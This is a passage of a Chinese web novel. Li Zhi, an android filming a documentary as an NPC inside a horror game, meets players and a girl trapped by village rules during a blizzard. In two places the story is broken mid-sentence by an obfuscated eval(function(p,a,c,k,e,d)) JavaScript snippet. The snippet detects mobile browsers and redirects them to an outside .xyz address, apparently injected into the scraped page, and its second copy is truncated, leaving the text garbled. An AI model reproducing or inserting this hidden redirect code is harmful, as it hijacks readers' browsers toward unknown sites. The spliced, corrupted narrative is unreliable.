那个只在游戏公告里占了很小一个位置的尘埃,落在她现在所处的现实里,是前路扬起的沙尘暴,满载着未知与挑战。 “好好的拉什么窗帘!没看人想休息吗!” 骊执的听觉传感器被突然的声音刺激得颤了一下,发出声音的是她旁边的一个大婶,大包小包的行李堆在她的脚边,甚至侵占了骊执那边的一些空间。 骊执并不在意,她自己的行李少得可怜,占不了多少空间。或者说,她现在是仿生人,金属骨架外面裹一层仿生皮肤,也不需要什么多余的东西生存。 双肩包里,她给自己拿了个充电箱,带了个系统记忆里用来维修自己用的设备箱——这是出租屋内唯一保存得很好的东西,还有拍纪录片要用的存储卡,拎着骊镜就上路了。 骊执顿了顿,听话地把窗帘拉上。 没必要起争执。 坐上这节凌晨发车、格外拥挤的车厢的人,都活得不很容易。 大婶似乎没料到骊执这么好说话,目光落在她单薄的包裹和外衣上,被劣质营养液腐蚀的牙齿露在外面好一会才合上。 车厢里的人没人在乎这小小的争执,高谈阔论声依然不绝于耳,和骊执原来世界里的绿皮火车一样。 目光所及是各种高级塑料制作的麻袋,种类单调的星际甜品的外包装散落一地。 骊执把自己往座椅上靠了靠,抱着手臂低头,试图检索这个从星网上找不到什么介绍,神神秘秘的零号村庄的更多信息。 肩上兀得一沉。 骊执有些茫然地抬头,身上多了一件肥大但很厚实的羽绒服,像是某种特殊的保暖材质,触碰到她模拟体温的那一刻开始升温。 大婶没好气地重新拉上包裹的拉链。 “乱拉窗帘就算了,大冬天穿个这么薄的外套就出来了,蠢成什么样子。” 下一站到站的提示音响起,大婶着急忙慌地跳下了车厢。 好像急着去赶下一趟车,又好像怕自己再多停留一秒,就会后悔刚才的举措。 骊执看了看身上的羽绒服,机械心脏的某个角落里,传来熟悉又陌生的酸楚。 她把羽绒服小心裹好,哪怕仿生人可以自己模拟体温,并不需要过多的御寒衣物。 “滴——零号村庄站到了,请各位乘客带好自己的包裹,有序下车。” 骊执走下车,靴子踩上愈来愈厚重的雪。 她记住了那个站点,也记住了那张脸。 远处,“零号度假村”牌子上的雪被人扫开,迎接远道而来的客人。 4. 零号村庄暴雪夜二 长靴印在雪地里,像树叶落在画布上。 村口的人擦完了牌子,蜷起身子搓了搓手。骊执见状加快了脚步,低头瞟了一眼手边的摄像机。 时间太紧,这具仿生人的身体也太过精巧,她的操作系统上没有搭载聊天软件的功能,她也没能找到利用自己的数据流和骊镜“意念交互”的方法,只好交代他感觉自己有损坏就敲敲她。 摄像机安稳被她拎着,几不可查地晃了晃。表示这种温度对人类来说很吓人,对机器来说很一般。 咯吱咯吱的踩雪声已经在寂静天地里响了一阵,骊执的内部时钟显示已经过了一分钟,仿生视网膜上投出村口的人影,却还像个小蚂蚁。 …… 她再怎么是联邦淘汰的机器人,移动速度也不该是每分钟零米吧? 骊执警惕地看向周围,雪地里没有混淆视野的东西。 除了她,只剩下远处“零号度假村”的牌子和村口一动不动的人,像是某种等待人激活的程序。 骊执站住脚,看向村口。 几乎是在她停下的那一刻,场景像是突然活了过来,不远处的人影发现了她,一条胳膊朝着她的方向机械地晃了晃。 骊执继续往前走,那条胳膊突然直直地掉了下来,像是弹簧坏掉的玩偶。 骊执盯着这明显出了bug的场景,再次停下。 不远处的人再次冲她挥了挥手,力度和幅度和上次完全一样。 在看人挥了六次一模一样的手后,她暂且按下戒心,推进剧情般冲人回应似的挥了挥手—— 画面再次卡住不动了,那人的一条胳膊在空中举得比直,像个试图回答问题但是站起来又忘词的小朋友。 骊执又往前往后走了走,人还是一动不动。 “……” 毛病还不少,不按打招呼的剧情来这纪录片就拍不了是吧? 等会……拍。 骊执低头看向自己的摄像机。 她好像……是某个游戏的导演NPC来着。 眼前这诡异的情景,让她不可避免地联想到了那个该死的恐怖游戏。 试想,假如零号村庄是《身临其境》的一个“副本”,村口大概率就是第一个“剧情点”,是该死亡触发型NPC送死——不是,是该她拍纪录片的时候了。 新官上任的导演单手握持着摄像机,镜头逐渐拉进。 骊镜悄咪咪使劲,把自己稍微抬起来一点,减轻骊执的负重。 定格的画面终于走向下一帧,村牌和那个小小的影子一点点变大了。 “滴——系统提示,死亡触发型NPC已经进入副本,游戏活动“摄影大赛”已开启。NPC导演骊执,进入直播模式。” 【 “来啦!没想到还有NPC视角呢……哇塞!啊啊啊啊是酷姐!美女姐姐贴贴~” “怎么是NPC视角啊我想看玩家!白哥今天说要在这场直播的……” “前面的不看拉倒,谁要看那个到处装x的家伙?姐姐名字好特别,大概是很重要的NPC啦!看我原地爬墙~” “前面的是新手吗,《身临其境》的玩法特殊,第一个出场的NPC大概率都是送死的,不建议这么早就喜欢上哦~” “我是死亡触发型的直播间啊?那我先退了,不喜欢死的早的” 】 系统提示音和光脑震动的声音同时间传来,一个直播样式的界面弹了出来,好奇和敌意的声音一齐传来。 骊执看着光脑上突然霸屏的蓝色页面,意外地挑了挑眉。 她刚刚在列车上查到了这个世界的“摄影活动”,虽然这里的摄影活动和地球上的摄影活动拥有相同的名称和宣传图,但内容大相径庭。 地球上的摄影活动,是由游戏积分达到一定程度的顶尖玩家报名参加比赛,游戏官方和玩家联合直播,比赛内容是全新未开放的“特殊副本”,算是让技术流大佬尝鲜的同时,给他们一个一夜爆红的机会。 赛博世界的摄影活动,是需要她这种导演给尼特星政府投稿影片,是正儿八经的一个影片评奖活动。 骊执本来还在想自己这个星际世界的三无居民,该怎么和《身临其境》的NPC扯上关系,没想到一语中的,零号村庄还真是个副本,她也真是这个副本里的NPC,甚至也要直播。 光脑上的弹幕关于她这个“新面孔”的NPC的讨论刷得飞快,骊执意念一动,打算套话。 “滴——系统提示,为提高地球玩家游戏体验,严禁暴露自己地球真实身份,严禁产生剧情以外的联络,系统将持续监督。” ……真是把她想走的路一条不差的全堵死了。 骊执还在地球的时候,扫了几眼游戏里关于这次“摄影活动”的规则介绍。 摄影活动覆盖全联邦,不只涵盖人数最多的中央星域,她现在所在的尼特星,也是划分在华国赛区的一个边缘小星。 活动范围内的每个星球开启一场赛事,如果她没记错,现在还在初赛阶段,副本主要还是在边缘星系开打。 尼特星这个常年下雪的小小星球也是吃了“直播红利”,骊执瞅着直播界面上不少弹幕都在惊奇雪景,互相商量副本结束后一起去在这里打卡看雪,赞许地点了点头。 【 “!???我看到了什么?这个NPC刚刚点头了?” 】 “敬业”的NPC状似无意地开口:“雪很大,衣服要穿厚一点。” 然后,赶在系统滴滴的警报声变急促前,“啪”地关上了光脑。 弹幕停顿了一瞬,下一秒更加快速地滚动起来。 【 “!她在跟谁说话?” “我没听错吧……她在提醒楼上的穿厚衣服?” “……不是,这NPC这么智能的吗,她刚刚是在回复弹幕吗?” “宝宝身上落雪啦,点头的样子像个犯困的小雪鸮~” 】 “客人早上好,你来得好早哇,我刚擦完牌子你就到啦!” 一个裹成球的白团子从村口蹦到骊执前,听声音像是个年龄不大的小姑娘,漏出一双好奇却眼神躲闪,似乎是不太好意思看陌生人的眼睛。 她低头装作整理自己的袖子,无意间瞅到和骊执极简打扮格格不入、但被骊执小心裹着的厚重羽绒服上时愣了愣,似乎是觉得眼前身量高马尾也高的女人和冻得发抖的她有了相似之处,弯弯眉眼打算去帮骊执提行李。 骊执顺手和小姑娘握了握手,挡过了她想帮忙的劲头:“早上好,自己来接我怕不怕?” 她还没有和副本一样大雪天压榨一个小姑娘干活的癖好。 【 “NPC姐姐是不想让小女孩尴尬,所以和她握手了诶” “!好温柔的姐姐……好可爱的小姑娘,我上网就是来看这个的!” 】 小姑娘的眼睛更亮了,高兴地摇了摇她的手:“不怕!姐姐你来早啦,我先领你回家好不好?” 小女孩的手像是刚从冰箱里拿出来的冰块,大概是刚刚她在试探村口的人是不是怪物的时候,反复从口袋里掏出手打招呼冻得。 身旁的牌子上落了厚厚一层雪,也不像是刚刚打扫过的样子。 这里的时间并没有暂停。骊执的目光停在了村牌上一瞬,任由她牵着自己的手。 看来所谓游戏系统并没有改变是非、时光回溯的能力,大概只是模糊了眼前女孩的记忆,和她从出租屋里醒来,记不清飞船上具体发生了什么一样。 骊执不动声色地调高了一点自己手的温度。 “等了我很久吗?” “没有很久……不过姐姐刚刚是看到什么了嘛,姐姐停下来我跟你打了招呼,可姐姐站在那里好一会才过来。” 是了。 她将骊执反复试探时的原地转圈,模糊成了拎着相机站那儿不动。 骊执正想问问村里的情况,不远处又响起咯吱咯吱的踩雪声。 【 “……这个副本里除了这个什么导演好像没有别的NPC开直播……所以是白哥他们来啦?” “不对哦,还有一个,和白哥一起走过来了!” “那为什么只有两个NPC开直播啊?” “官方有自己的评判标准,好像是哪个NPC的故事有意思就会选哪个?” 】 一串黑沉沉的数据流隐约从那双纯净的眸子里划过,身边的小姑娘一点点转过身,僵硬地从骊执手里抽出手,开始擦已经落满雪的村牌。 手中的相机,几不可察地跳了两下,这是骊执和骊镜商量好的异常提示方式。 而这个动作的意思是……录像中断了。 嗯,骊执在心里回应,小姑娘又回到之前那种设定好的状态,现在副本剧情中断,所以没办法继续录像。 眼前熟悉的一幕让骊执有些警觉的同时,也存了试探新人的心思。 在那一行人站住时,她面无表情地和小姑娘一起摆了摆手。 从现在起她将不是什么死亡触发型NPC,她是马上要吓唬人的NPC。 尼特星的雪天仿佛带着硬邦邦的树枝,用带雪粒的风刮弄着玩家们的脸。 “白哥,前面就是了吧?”常声的声音有些哆嗦,他看向走在最后的男人,哈出一口热气。 被叫做白哥的严白甩了甩刚染的白毛,被耳钉上的流苏冰得龇牙咧嘴。 【 “哈哈哈哈哈我的电子榨菜!哈哈哈哈哈笑死我吧哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375983|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈” “哈哈哈哈哈哈哈活该,谁让他带耳钉了” 】 他漫不经心地点头,第一万次在心里骂骂咧咧。 天杀的《身临其境》,非要整什么“超能型”全息版本让他们来内测,还不允许他们透露,更不许他们中途退出!这些就算了吧场景搞这么真干嘛?冻得他新发型都要结霜了啊喂! 严白正嘀嘀咕咕着《身临其境》不平等条款,走在最前方的短发女人突然站住不动了。 “——啊,怎么了?”他身子冻得抖了一下,声音颤抖着咋呼道。 “走不过去。”女人面无表情道,并没有分给他一个眼色。 “怎么就走不过去了……你不是这里的N——我是说居民吗?”他不忿地向前看去,突然意识到,自己已经走了少说有十分钟了,眼前的村子怎么一点也没变近呢? “这到底是……怎么一回事……” 女人没有搭理他。 严白顺着她的目光看去,冰天雪地里,光秃秃的牌子旁边,站着一大一小两个身影。 大的牵着小的,正机械地、重复地向他们招手,如果他没看错,甚至每次招手的幅度都差不多!大的那个还拿着个……摄像机? 他兔子一样跳了起来,意识到自己失态后,颤抖着把手从口袋里伸了出来,试图将女人拉到自己后面:“什么东西……招财猫——不是,招财人,不是……” 女人嫌恶地把他的手肘击到一旁。 安夏这辈子没想到金盆洗手的下一秒是穿越,还穿到一个这么离谱的游戏里! 她刚刚结束了自己雇佣兵生涯的最后一次任务,收拾行装准备回老家躺平喂鸡,照常点开《身临其境》跑图的瞬间两眼一黑,她已经坐在某个奇形怪状的车里不知道被往里送了! 她下一秒就要在列车到站的间隙跳车,狗系统非说她已经被选中成了NPC,不能逃避剧情,等她再有意识的时候,她已经被到站后迎面吹来的寒风冻得哆嗦了。 临下车前身边人甚至给她让开了窗户,搞得跟她跳了一路的窗户一样! 天杀的游戏,把她的退休计划都打乱了! 严白其实有些怕身前的女人。 他刚开始游戏的时候和她落脚在同一个车厢,眼睁睁看着这位大姐跳了一路的窗户,并坚定地说好好的公共交通是把她绑架到这里的黑车,她要回家。 但她下车后又恢复了正常,好像完全记不清自己刚刚跳了几次窗,把周围人吓成什么样。而且他还看到她带着枪,大概是个很强大的NPC,很适合他这种靠吱哇乱叫吸引观众的主播抱大腿,所以还是厚着脸皮跟了上来。 现在的问题是,带枪的大佬已经愣在这里好一会了,到底怎么样才能让这吓人的剧情推进下去呢? “要不……大佬你冲她们开枪吧?”他思来想去,给出个办法。 “……你上辈子被人家崩掉脑壳灌进去水了?人家惹你了?” 【 “哈哈哈哈哈哈哈哈被NPC小姐姐吓到不敢动了吧!” “斯哈斯哈这期两个NPC颜值都超标!姐姐好帅给个姬会!” 】 “欢迎……游客……来到零号度假村……” 小姑娘极其细微地重复着这句,被骊执握住的那只手已经有些颤抖了。 骊执几不可查地皱了皱眉,小姑娘体力不支,不能再等下去了。 游客来到度假村,被欢迎后的第一件事是什么? 当然是……登记身份啊。 就比如,拍一张照片。 她看向领头装扮特殊,像地球世界里的雇佣兵的女人,招手的时候刻意停顿了一下,划了一条横线,暗示地抬了抬摄像机。 安夏看向不远处一大一小里的“大NPC”,慢半拍地眨了眨眼。 意思是……站一排,拍照片? 安夏皱了皱眉,虽然觉得这要求古怪,但比起在这见鬼的地方冻僵,做点什么打破僵局总比站在原地更好。 严白被安夏拎小鸡崽一样放到旁边后,整个人都是蒙的。 那个可怕的女人甚至强硬地要求他们三个人比一模一样的耶,说是好拍照? 村子都没进去呢急着拍什么照—— “咔嚓——” “???” 白光闪过,骊执看着终于站好一齐露出正脸的三个人,满意地点了点头。 安夏剑步上前,丝毫没有顾忌身后的两个人跟没跟上,冲着帮忙推进剧情的“大NPC”就飞了过去。 “你——” “稍等。” 助人为乐的敬业NPC笑眯眯地摇了摇头,指了指她怀里刚拿到手的新式武器,那把还没捂热乎的脉冲枪。 “缴枪不杀。” 5. 零号村庄暴雪夜三 安夏下意识地把枪往身后一藏,皱着眉看向身前的女人。 某种程度上讲,女人确实帮忙改变了自己的僵局。 如果不是她用手势和镜头暗示,留给安夏的命运,大概率是在这异乡地冻成干尸,重回现实世界退休的最后一点希望也被熄灭。 但要她交出她赖以生存的武器…… 安夏把枪攥得更紧了。 枪林弹雨间摸爬滚打的岁月清晰得仿佛在昨天,她做不到放弃这保全性命的屏障。 她感受到那双琥珀般厚重的眸子将光投在了她紧绷的手臂上,又轻巧地移开。 “好。”骊执从善如流地收回手。 仿生人的视力模块更像是一种高度先进的摄像机,将光信号反射到人造视网膜上,所以哪怕刚才三个人小得像蚂蚁,她也能看见“蚂蚁”怎么商量对策。 剧情陷入僵局的时候,骊执并没有急着告诉三人脱困的方法,一是想看看三人的实力,二是想要探查一下他们对规则的了解程度。 白发男人和黑发男人相对熟识,异变发生时恐惧虽然大,但只是躲在短发女人的身后,没有多余动作,更像是把眼前的问题当作一个需要靠大佬解决的麻烦,而非必须面对的生存困境。 短发女人则不同,面对男人指向枪支让她杀掉NPC的暗示,骊执不用看他们商讨的口型,白发男人瞬间发白的脸色足以证明女人的激烈反对。 一个把这里当作可以肆意厮杀的游戏,一个并没有把普通NPC的命看轻。 骊执微微眯起眼睛。 还能和她一样造成剧情bug的出现。 ……虽然她现在也不确定到底哪些人能造成bug。 不过无疑,她这一款被游戏拉进来的倒霉蛋肯定行。 “姐姐,人来齐了。” 见到剩下的两个男人终于深一脚浅一脚来到村口,小姑娘“嗖”得躲在了骊执身后,拉了拉她的衣脚。 骊执把她拿出来的那只手又放回口袋捂好:“先进村吧,天太冷了。” 几乎是在这声宣布落地的下一秒,身后的牌子旁兀得出现了一条小路。 看着那黑洞洞的、弥漫着雾气的小路,安夏不着痕迹地握紧了枪。 骊执看向她的戒备状态,心下了然。 如果她只是个来此旅游的普通NPC,是断不会这么警觉的。 除非,她也是被某种特殊方式牵扯到零号村庄来,被那人清楚告知了这次副本的危险性。 骊执移开目光。 两个怂包的游戏玩家,以及一个——虽然没搞明白怎么破局,但珍惜生命,潜意识把这里当作现实的、大概率和她是同一出身的特殊NPC。 小女孩乖乖地看了骊执一眼,示意她的高个子姐姐跟上。 骊执从善如流地点头,踏上那条小路。 安夏:“……” 真没警惕心。 似乎是感受到了她不认同的目光,拎着摄像机的女人回过身。 “留在外面会冷的。不管有没有危险,干站着也不会知道到底为什么来到这里,不是吗?” 看着眼前的雇佣兵无法抑制地瞪大双眼,骊执明白自己的暗示奏效了。 同时,她的猜测也没有错——能有这么大反应,包是被《身临其境》绑架到这里的。 通往村子的小路上,骊执和小女孩打头,安夏提着枪殿后。 【 “……俩男的吓成什么样了,一直往骊导后面缩!” “啧啧啧,严白你个废物,打本还得是靠我们姐姐” 】 “你,你好……”终于,严白鼓起勇气凑到走在队伍最前面,两只眼睛死死盯住坑洼的土路:“请问,你是这边的村民吗?还有……刚,刚刚给我们拍照片,是什么意思?” “我不是村民。”摄像机重新开始运行,骊执走得很平稳:“我是来这里拍纪录片的导演。拍照片,是在帮你们登记身份信息。” 她的声调毫无起伏,仿佛只是在重复一个客观的、冷酷的规则:“你们不是来度假的?被我们欢迎后,就得乖乖排好队等着拍照录入信息。” “当然,最开始的反抗者……也已经被我录入了。”她暗示地看向腿已经开始抖的男人,仿生人略显僵硬的脸部肌肉更显得她线条冷硬,眉眼淡漠到有些残忍了。 虽然骊执说得半真半假,似是而非,甚至规则逻辑都有些强加的生硬。 但用来恐吓一个胆小还试图攻击NPC的游戏玩家,已经足够了。 “……” 严白的喉咙里发出几声模糊的咕哝,几乎要落泪了。 这毫不讲理的强盗逻辑,这一看就很关键的特殊身份…… 还有这大雪天非要上一个这么阴森的村子拍纪录片的古怪脾气…… 太对味了!就是你了,天选幕后黑手,关键boss…… 【 “严白这个表情……好像在说是你是你绝对是最后的大坏蛋!” “???哪儿冒出来的死亡规则……等等,好像也没毛病?” “哈哈哈哈哈哈哈哈哈哈哈导演姐姐这个胡编乱造……” “骊导:恐吓人我是有一手的” (系统提示,以上弹幕涉及剧透,已向相关玩家和NPC屏蔽) 】 切身实地感受到的精神折磨,几乎让这个本来就胆小的游戏博主丧失了理智。 严白眼睛黑洞洞地盯着那张淡漠的脸,抓住骊执的肩膀的惨白双手仿佛铁钳:“那请您告诉我,我该怎么才能从这鬼地方淘汰出去……” 骊执一个肘击甩了出去,却意料之外地没有击中目标——有人比她更快。 “咔。” 清脆的脱臼声带来了仿佛要把手臂撕掉的剧痛——那绝非全息游戏能模拟的程度。 “嗷!” 队伍被迫停住,看向发出惨叫的方位。 安夏嫌恶地甩了甩手,冷声道:“狂犬疫苗忘打了?” 队伍变成了骊执和小女孩走在最前面,雇佣兵紧紧咬着骊执的步子跟着走,两位男同胞隔了点距离跟在最后。 严白死死地闭上嘴,终于显得安稳一点。 虽然在哆嗦着重复了无数遍保证社交距离后,安夏实在闲他烦给他接好了胳膊,但刚刚的剧痛如同一把硬邦邦的钥匙,毫不留情地捅开他混沌的脑壳,把那一点微小的、曾被他的恐惧掐灭的想法扒拉出来。 《身临其境》在和他们签署直播合同前有明确的条款规定,全息游戏不会让玩家感受到任何真实的疼痛,玩家可以放心探索副本。 肩胛骨处仿佛被人拿着粗大的针头恶狠狠捅了进去,神经一阵阵的抽动,那么清晰,那么直白。 严白抹了把脸,冰冷的汗液渗在掌心。 那如果……已经感受到了真实的疼痛,没有勇气探索副本了,该怎么办呢? “前面就是了。” 骊执抬起头,小路尽头,“零号村庄房屋分配中心”的牌子大咧咧挂在一幢坚实的房屋上面。 材质大概类似地球世界的水泥,算不上大,灰扑扑的。 小姑娘慢慢站到门前,手抬起来好几次,又都攥紧拳头放下。骊执感觉不对劲正想上前,她鼓劲般吸了口气,在门上叩了一下。 “砰——” 大门被里面的人猛地推开。 安静下意识地护住头,被骊执一把拉到身边。 仿生人的力道收的很稳,护住女孩后就冷冷地看向门口。 大门敞开的房屋里,白炽灯光在这个阴沉的雪天骤然被点亮,激得安夏几人眯起眼睛。 门口站着个脸极圆的断眉男人,一道长疤横贯半张脸,眼睛没有焦距,正一动不动地睁得很大。 骊执作为仿生人的视觉传感器比没有受到影响。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375984|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她毫不避讳地对上断眉男人的眼睛,镜头直直对准了他。 断眉男人一愣,像某种因为常年锈蚀卡顿的齿轮,迟疑地一点点转动脖颈向下。 呆滞的眼睛终于对上了镜头,随即像是被上好了发条,眼尾缓慢地笑出了褶子,一副和和气气的样子。 “欢迎各位游客朋友来到我们零号村庄!安静,你怎么办的事,怎么现在才把客人们迎进来……”是干涩的、被刻意一板一眼说出显得官方的声音,他僵硬地冲着伸出手,试图将小姑娘从骊执怀里扯出来。 骊执戒备地后退一步,抬高相机更加准确地对准他,镜头的闪光灯亮了一下,照出男人右手心隐隐的光亮。 紧紧靠着骊执、似乎在寻求安全感的小姑娘,几乎是在男人出声的一瞬间浑身颤抖起来。 “我,我已经很早就去……”本就细弱的声音越来越低,后面的话,模糊到骊执的耳部传感器已经捕捉不到了。 “那是你的问题,你的职责,你连迎接客人这么简单的任务都做不好,怎么跟游客朋友交代,怎么跟我交代?” 骊执看着对着镜头就变得侃侃而谈的男人,心念一动,不经意间将镜头偏移了一下。 断眉男人瞬间卡顿,像被人抽掉了发条。 骊执再次对上镜头。 男人的眼皮掀了两下,重新转了转眼珠,恢复了神采。 他没有再看一行人一眼,对着镜头的方向,一边鞠躬,一边露出恰到好处的、仿佛真情实感的懊恼表情:“是我管理不周,让大家见笑了。我以后一定加强监管,一定做到!” 找到规则了。 骊执嘴角勾起一个弧度。 不仅仅是剧情没有进展会导致镜头掉线,镜头如果从正在推进剧情的NPC身上移开,也会导致NPC的进度受阻。 骊执一手搂着被称作“安静”的小姑娘,一手把已经气得攥紧拳头的安夏扯回来。 “手心里有东西,一会走近就卸掉他的手。”她状似不经意地在安夏右手臂敲了敲,用只有两个人能听见的声音交代。 安夏咬紧牙关埋下头,掩饰掉自己的神色。 “是我在村口拍了一会照片,耽误了一会。”骊执皮笑肉不笑地温和开口,“比不上您,在镜头面前也表现得这么‘真实’。” “真实”两个字被她刻意加重,手中的摄像机像是听懂了她的言外之意,无声地将自己的镜头调得更精准,像是要把自己怼到男人的脸上。 “你好,我是特邀来此拍摄的纪录片导演骊执。” “想必您也很乐意给我们的观众介绍一下自己,和这间特殊的房子了?” 她上前一步,一步步踏上台阶,站在男人的对面。 安夏也跟着她走过去,不动声色地站在男人的后方。 愈发紧绷的局势让严白缓慢地眨了下眼,心脏突突直跳。 他突然意识到眼前比断眉男人还高的导演想做什么。 “安静……过,过来,先到哥哥这边来。”严白似乎有点结巴了,声线虽然颤抖,却被他刻意地压得柔和一点,似乎是想安抚小姑娘。 安夏意外地看了一眼他。 没想到刚刚还鬼哭狼嚎的家伙,现在还算得上上道。 安静咬着唇,并没有听他的话,只是一步步走过去,站到骊执的背后。 断眉男人看着把他包围起来的两个人和躲在骊执背后的安夏,嘴巴极快地开开合合好几次,终于笨拙又蛮横地试图扳过骊执的肩膀,右手心的光点剧烈闪烁了一下。 他的手还没碰到安静的衣角,骊执的镜头就被她“啪”地关闭,男人怔愣的一瞬间,坚硬的、不似人类躯体能做出强度的格挡激得后退,被身后的人更加蛮横地手劲卸掉了手腕,掌心石子状的武器稳稳落在了那人的手里。 “你还没回答我的问题呢,是因为,这是比你现在的困境更难以启齿的事情?” 6. 零号村庄暴雪夜四 “接着!”安夏来不及细看,反手将拿到的东西用力抛给骊执。 下一秒,脉冲枪被她抵在了被两个男玩家手忙脚乱控制住的断眉男人身上。 骊执伸出手试图接住石头,石头却仿佛活物一样,灵活地躲过她的手,直直扑向她身后的安静—— “啪。” 骊镜牌摄像机自动开启,识别场景后开始录像。 人工智能的强大模仿能力在此刻发挥作用,骊镜的数据库里,观察创造者行动而录入的信息显示,镜头开启造成断眉男人的“恢复正常”。 现在,和断眉男人一样不怎样正常的石头出现,这一数据被抽出,骊镜一边将镜头牢牢对准下落的石头,一边注意着骊执的动作。 —— 像是精怪被人瞬间抽掉了魂魄,石头在空中停住,缓缓掉落。 骊执单手托住立了大功的摄像机,喘了口粗气,正打算接住石头。 一股机械的、强硬的力道袭来,高强度金属制成的仿生人,竟然被身后那个小小的身影拖得身子一歪。 “姐姐,躲开。” 安静低垂着眉眼,在骊执愣神的瞬间,向石头伸出手。 寻找主人的最后关头,石头像是被一阵诡异的风吹起,偏斜地落到了安静的手心。 安静闭上了眼睛,等待着属于自己的宿命。 她实在算不上是个好女孩。 要不是她自己忍受不了在这个冬天冻死的命运,自己要去房屋分配中心申诉,她也不会变得和村长一样奇怪,整个身体像村子深处锈掉的铁轨,干巴巴的硬。 这和新来的姐姐没关系,和妈妈也没关系。 所以,这个代表诅咒的石头该去找她,而不是去伤害导演姐姐。 这份代价要由她自己承受。 “咚——” “雪越来越大了!快,都快进来!” 身后的大门被人死死抵住,严白嘶吼着呼喊,风雪扑面而来,砸得人脸生疼。 安静极缓慢地眨了下眼,没有动作。 她记得身后这间屋子里发生了什么。 新的冬天来临,跳房子游戏在这间房子里开始,妈妈第一个上前,颤抖着伸手,骰子落下。 “看,轮到她们一家了。”每年都会有的窃窃私语声这次从她们身边响起,像某种设定好的丧钟。 她们拿到了最差的房子,周围人或同情或冷淡的眼盯着被石头绑定后的她们。 安静清楚每年拿到这个石头的家庭的宿命,她夺过妈妈手里的石头,咬着牙闭上眼,闷头将石头扔在地上。 石头不透光,黑沉沉且坚固异常,滚了一圈后,从空中飞起,在安静惊恐的目光中回落到她的手心。 “安静不怕。”妈妈用厚厚的兜帽裹住她的脸,不让她再看,牵着她回家。 妈妈说,零号村庄的规矩就是这样的,她撼动不了,安静也撼动不了。 她还说,如果只有她自己一个人,她大概率就不想挣扎了。 可是她有安静。 她可以自己忍受寒冬,但她不能接受安静留在冬天。 于是在那个个清晨,妈妈裹着又厚又笨重的羽绒服,像一只飞不起来、一点点挪腾的大鸟,义无反顾地扑棱着翅膀冲向被村里人视为禁区的迷雾,试图找到逃出村子的路。 妈妈给她留下仅剩的炭火,像是给小鸟留下自己最后的羽毛。 最开始生火的时候,安静总是呛得满屋子是灰。 一点点把几件家具擦干净后,她放下了妈妈常坐的椅子,在那上面留下了一点点的灰色痕迹。 零号村庄的冬天一直在下雪,像是被阳光遗忘的大地。 白天,她就把那把椅子搬到门口,让外面雪原折射的光照射到那处灰烬上。 好像是灰烬深处的一盏灯,在那个时刻,让她对思念之人的归来,升腾起一点残存的希望。 连绵不断的雪堵住了房门,安静拿来铁锹,一点点吃力地把它们铲走。 她隐隐约约听到咯吱的踩雪声,是隔壁的邻居领营养液回来了。 妈妈离开后,安静就很少和村里人正面交流。 每一个看到她的每一声叹息,都在清楚的告诉她:只剩下她一个人了。 侧身躲在两栋房屋之间的角落里,她听到了一个不知算不算好消息的消息。 今年要有一批游客来到这里,需要管理房屋分配中心的村长去迎接。 那是个时常在她噩梦里出现的断眉男人,在她那些给自己编织的关于温暖的虚假幻觉里,撕开裂缝,一遍遍用僵硬的语调、本该如此的规则把她从梦里掏出来,重复着她和妈妈在冬天注定消亡的宿命。 她从噩梦中再次惊醒,睁开眼睛,冷汗从额角渗出。 窗外的雪更大了。 她攥紧房屋绑定的石头,推开了房屋分配中心的门。 村长僵硬地转过身,断掉的眉毛向她一横。 她闭上眼睛,裹紧兜帽,吸了一口气。 石头狠狠被朝着村长的方向一掷。 她听到村长的闷哼声,听到石头落地的骨碌声,听到骰子落地的声音。 赶在村庄反应过来前,她将那个决定她们一家命运的骰子捡起来。 “安静不要!” 不远处传来一声嘶吼,好像这是那个自从被人赠予骰子后就变了个人、时常对她露出一个僵硬笑脸的男人,此生最绝望的时刻。 她张了张嘴,想喊出那个自从出生以来,就被她牢牢挂在嘴边的称谓。 她失去了意识。 原来……连最亲近的人的名字,也会和人一样,一点点生锈吗? 再次醒来,她站在一个落满雪的村牌旁边,脑海里模糊地记得,自己要代替什么人接客人,要接四名游客,两男两女,领他们回村。 她呆呆地看着自己毫无知觉的双腿,尝试踏过那片雪原。 可不知何时,她的双脚深深陷进了泥里,像某种固定执行的程序,像那次分房子时的跳房子游戏。 妈妈。她轻轻呢喃。 你在外面好好的。 我和爸爸,好像还是逃不掉了。 她沉默地站在村口,机械地擦着那块牌子,像擦拭走母亲椅子上最后一点灰烬。 “滴滴。”远处传来一声轻响,像什么电子设备的启动音。 她僵硬地抬起头,被口袋里那个蠕动着咬开布料、像是试图吃掉她的东西操控着,机械地向着什么人挥手。 不远处,一个高挑的、马尾高高扎起的女人,拎着一个大大的摄像机走过来。 她的身上,穿着妈妈会穿的厚厚羽绒服。 “快!快进屋!” 安静接住石头的一瞬间,飘洒着的风雪仿佛在一瞬间被触怒,站在最外围的安静首当其冲,被积雪扑了满头。 安夏三人把门用身体死死堵住,冲还在外面的骊执大喊。 “妈,妈妈。” 安静看向积雪掀起的方向,看向开始消失不见的通往村外的小路,唇齿间的那个称呼骤然间变得滚烫,点燃躯体剩余的温度。 “叮当。” 某个藏在她口袋里的东西像是被这个称呼烫到,被迫松开咬住布料的嘴,落了下来。 那是一枚象征运气的骰子。 “安静!”骊执在风起的一瞬间就朝着女孩的方向伸手,大片大片的雪花密实得仿佛未捶打的棉絮,一下子糊了她满脸。 